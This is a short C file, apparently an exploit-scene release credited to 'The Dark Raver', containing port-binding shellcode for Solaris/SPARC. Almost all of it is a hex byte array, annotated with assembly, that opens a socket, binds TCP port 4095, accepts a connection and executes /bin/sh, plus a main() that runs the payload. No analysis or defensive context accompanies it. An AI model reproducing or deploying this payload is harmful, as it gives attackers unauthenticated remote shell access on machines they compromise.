// // The Dark Raver // // PortBinding Shellcode Final #1 // Port: 4095 (only 195 bytes) // // Open a shell on the predefined port (Without error control) // // For Solaris/Sparc and derivates... // char hell[]= "\x90\x10\x20\x02" // mov 2, %o0 "\x92\x10\x20\x02" // mov 2, %o1 "\x94\x10\x20\x06" // mov 6, %o2 "\x82\x10\x20\xe6" // mov 0xe6, %g1 "\x91\xd0\x20\x08" // ta 8 "\xd0\x27\xbf\xec" // st %o0, [ %fp + -20 ] "\x90\x10\x20\x02" // mov 2, %o0 "\xd0\x37\xbf\xd8" // sth %o0, [ %fp + -40 ] "\xc0\x27\xbf\xdc" // clr [ %fp + -36 ] "\x90\x10\x2f\xff" // mov 0xfff, %o0 - Port: 0xf0ff = 4095 "\xd0\x37\xbf\xda" // sth %o0, [ %fp + -38 ] "\x92\x07\xbf\xd8" // add %fp, -40, %o1 "\xd0\x07\xbf\xec" // ld [ %fp + -20 ], %o0 "\x94\x10\x20\x10" // mov 0x10, %o2 "\x82\x10\x20\xe8" // mov 0xe8, %g1 "\x91\xd0\x20\x08" // ta 8 "\xd0\x07\xbf\xec" // ld [ %fp + -20 ], %o0 "\x92\x10\x20\x05" // mov 5, %o1 "\x82\x10\x20\xe9" // mov 0xe9, %g1 "\x91\xd0\x20\x08" // ta 8 "\x92\x07\xbf\xd8" // add %fp, -40, %o1 "\x94\x07\xbf\xec" // add %fp, -20, %o2 "\xd0\x07\xbf\xec" // ld [ %fp + -20 ], %o0 "\x82\x10\x20\xea" // mov 0xea, %g1 "\x91\xd0\x20\x08" // ta 8 "\xac\x05\x40\x08" // add %l5, %o0, %l6 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x22\x40\x09" // sub %o1, %o1, %o2 "\x82\x10\x20\x3e" // mov 0x3e, %g1 "\x91\xd0\x20\x08" // ta 8 "\x90\x05\x40\x16" // add %l5, %l6, %o0 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x05\x60\x01" // add %l5, 1, %o2 "\x91\xd0\x20\x08" // ta 8 "\x90\x05\x40\x16" // add %l5, %l6, %o0 "\x92\x10\x20\x09" // mov 9, %o1 "\x94\x05\x60\x02" // add %l5, 2, %o2 "\x91\xd0\x20\x08" // ta 8 "\x20\xbf\xff\xff" // bn,a "\x20\xbf\xff\xff" // bn,a "\x7f\xff\xff\xff" // call "\x90\x03\xe0\x1c" // add %o7, 24, %o0 "\x92\x02\x20\x10" // add %o0, 16, %o1 "\xd0\x22\x20\x10" // st %o0,[%o0+16] "\xc0\x22\x20\x14" // st %g0,[%o0+20] "\x82\x20\x3f\xf5" // sub %g0, -0xb, g1 "\x91\xd0\x20\x08" // ta 8 "/bin/sh"; int main() { int (*f)(); f = hell; printf("%d\n", strlen(hell)); f(); }